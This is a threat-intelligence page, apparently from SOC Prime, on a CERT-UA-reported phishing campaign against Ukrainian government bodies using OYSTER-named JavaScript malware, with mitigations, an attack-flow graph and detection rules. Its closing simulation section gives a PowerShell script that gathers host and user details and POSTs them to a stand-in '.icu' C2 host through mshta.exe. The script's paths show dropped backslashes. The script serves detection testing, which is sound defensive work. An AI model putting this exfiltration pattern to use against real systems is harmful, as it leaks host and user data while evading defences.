SOC Prime Bias: Medium

22 May 2026 12:56 UTC

UAC-0057 Updates Its Toolkit with OYSTERFRESH, OYSTERSHUCK, and OYSTERBLUES

Author Photo
SOC Prime Team linkedin icon Follow
UAC-0057 Updates Its Toolkit with OYSTERFRESH, OYSTERSHUCK, and OYSTERBLUES
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

CERT-UA has reported a phishing campaign aimed at Ukrainian government organizations. The emails contain PDF attachments that redirect recipients to ZIP archives carrying malicious JavaScript files known as OYSTERFRESH, OYSTERSHUCK, and OYSTERBLUES. Once executed, the malware gathers system information and sends it out through HTTP POST requests, with the option to retrieve a Cobalt Strike component at a later stage. The supporting infrastructure is concealed behind Cloudflare and makes extensive use of .icu domains.

Investigation

CERT-UA’s analysis identified the malicious JavaScript samples, the decoding methods they rely on, including string reversal, ROT13, and URL decoding, and the registry changes used to maintain persistence. Investigators also documented multiple file artifacts and Windows paths associated with the infection chain. Network analysis linked the activity to Cloudflare-protected .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.

Mitigation

Organizations should restrict wscript.exe execution for standard users, limit both PowerShell and JavaScript execution, and monitor the listed registry Run keys for suspicious changes. Web filtering should be used to block .icu domains and, where appropriate, Cloudflare-related IP ranges associated with the campaign. Defenders should also apply least-privilege controls and prevent automatic execution of unknown binaries.

Response

Security teams should create detections for the identified filenames, registry keys, and outbound HTTP POST traffic to the known domains. Hunting should also cover the possible Cobalt Strike payload, including the CSBEACON DLL, and any scheduled task named MicrosoftEdgeUpdateTaskMachine. Endpoint investigations should collect process trees to trace the JavaScript decoding and execution chain.

"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing</b><br/>Spearphishing Attachment: Send email with malicious PDF containing link to ZIP"] class action_phishing action action_user_exec["<b>Action</b> – <b>T1204.002 User Execution</b><br/>Victim opens PDF/ZIP and runs JavaScript OYSTERFRESH"] class action_user_exec action malware_oysterfresh["<b>Malware</b> – OYSTERFRESH<br/>JavaScript file delivered in ZIP, entry point of the attack"] class malware_oysterfresh malware action_obfuscate["<b>Action</b> – <b>T1027.008 Obfuscation</b><br/>Payload obfuscated via string reversal, ROT13 and URLu2011decoding"] class action_obfuscate action malware_oysterblues["<b>Malware</b> – OYSTERBLUES<br/>Writes registry entries and launches persistence components"] class malware_oysterblues malware tool_wscript["<b>Tool</b> – wscript.exe<br/>Windows Script Host used to run additional JavaScript components"] class tool_wscript tool action_proxy_exec["<b>Action</b> – <b>T1127 Proxy Execution</b><br/>Uses wscript.exe to execute OYSTERSHUCK and OYSTERBLUES"] class action_proxy_exec action action_persistence["<b>Action</b> – <b>T1547.014 Persistence</b><br/>Creates HKCU Run keys to launch MicrosoftEdgeUpdate.exe and EdgeApp.exe at logon"] class action_persistence action action_discovery["<b>Action</b> – <b>T1057 Process Discovery</b><br/>Collects process list, computer name, user account, OS version and boot time"] class action_discovery action process_c2["<b>Process</b> – HTTP POST to C2 server<br/>Sends discovered system information"] class process_c2 process action_embedded_payload["<b>Action</b> – <b>T1027.009 Embedded Payload</b><br/>Cobalt Strike beacon embedded in JavaScript and executed via eval"] class action_embedded_payload action malware_cobalt_strike["<b>Malware</b> – Cobalt Strike beacon<br/>Embedded malicious payload"] class malware_cobalt_strike malware %% Connections action_phishing –>|delivers| action_user_exec action_user_exec –>|triggers| malware_oysterfresh malware_oysterfresh –>|performs| action_obfuscate action_obfuscate –>|creates| malware_oysterblues malware_oysterblues –>|uses| tool_wscript tool_wscript –>|enables| action_proxy_exec action_proxy_exec –>|executes| malware_oysterblues action_proxy_exec –>|executes| malware_oysterfresh action_proxy_exec –>|executes| malware_cobalt_strike action_persistence –>|establishes| process_c2 action_discovery –>|gathers data and| process_c2 action_embedded_payload –>|executes| malware_cobalt_strike class action_phishing action class action_user_exec action class action_obfuscate action class action_proxy_exec action class action_persistence action class action_discovery action class action_embedded_payload action class malware_oysterfresh malware class malware_oysterblues malware class malware_cobalt_strike malware class tool_wscript tool class process_c2 process "

Attack Flow

Detections

Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via registry_event)

SOC Prime Team
22 May 2026

Suspicious File Exstension Added to Run Keys [ASEPs] (via registry_event)

SOC Prime Team
22 May 2026

Archive Extraction Directly from Mail Client (via process_creation)

SOC Prime Team
22 May 2026

Execution from ZIP Archive [7zip] (via process_creation)

SOC Prime Team
22 May 2026

Execution from RAR Archive [WinRAR] (via process_creation)

SOC Prime Team
22 May 2026

LOLBAS WScript / CScript (via process_creation)

SOC Prime Team
22 May 2026

LOLBAS RunDLL32 (via cmdline)

SOC Prime Team
22 May 2026

Suspicious Extracted Files from an Archive (via file_event)

SOC Prime Team
22 May 2026

Suspicious Scheduled Task (via audit)

SOC Prime Team
22 May 2026

Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)

SOC Prime Team
22 May 2026

IOCs (HashSha256) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES Part 2

SOC Prime AI Rules
22 May 2026

IOCs (HashSha256) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES Part 1

SOC Prime AI Rules
22 May 2026

IOCs (HashSha1) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES

SOC Prime AI Rules
22 May 2026

IOCs (HashMd5) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES Part 2

SOC Prime AI Rules
22 May 2026

IOCs (HashMd5) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES Part 1

SOC Prime AI Rules
22 May 2026

IOCs (SourceIP) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES

SOC Prime AI Rules
22 May 2026

IOCs (DestinationIP) to detect: Updated toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK and OYSTERBLUES

SOC Prime AI Rules
22 May 2026

Detection of OYSTERBLUES Exfiltration via HTTP POST to .icu Domains [Windows Network Connection]

SOC Prime AI Rules
22 May 2026

Detection of Malicious JavaScript Execution via wscript.exe [Windows Process Creation]

SOC Prime AI Rules
22 May 2026

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and produce the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The adversary leverages a signed Windows binary (mshta.exe) to run a small JavaScript payload that collects system information and exfiltrates it via an HTTP POST to a malicious “*.icu” domain controlled by the C2 server. This “living‑off‑the‑land” approach avoids raising AV alerts while generating the exact firewall event the rule monitors (POST + “.icu”).

  • Regression Test Script:

    # OYSTERBLUES‑style exfiltration simulation
    # 1. Encode minimal system info in JSON
    $info = @{
        hostname = $env:COMPUTERNAME
        user     = $env:USERNAME
        os       = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption
    } | ConvertTo-Json -Compress
    
    # 2. Write a temporary HTML file that runs a JS fetch POST
    $htmlPath = "$env:TEMPexfil.html"
    $js = @"
      var data = '$info';
      fetch('http://malicious-c2.abc.icu/collect', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: data
      });
    "@
    Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII
    
    # 3. Execute via mshta (signed binary proxy execution)
    Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`""
    
    # 4. Give the request time to complete then clean up
    Start-Sleep -Seconds 5
    Remove-Item -Path $htmlPath -Force
  • Cleanup Commands:

    # Ensure any lingering mshta processes are terminated
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remove residual temporary files (if any)
    $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html"
    foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }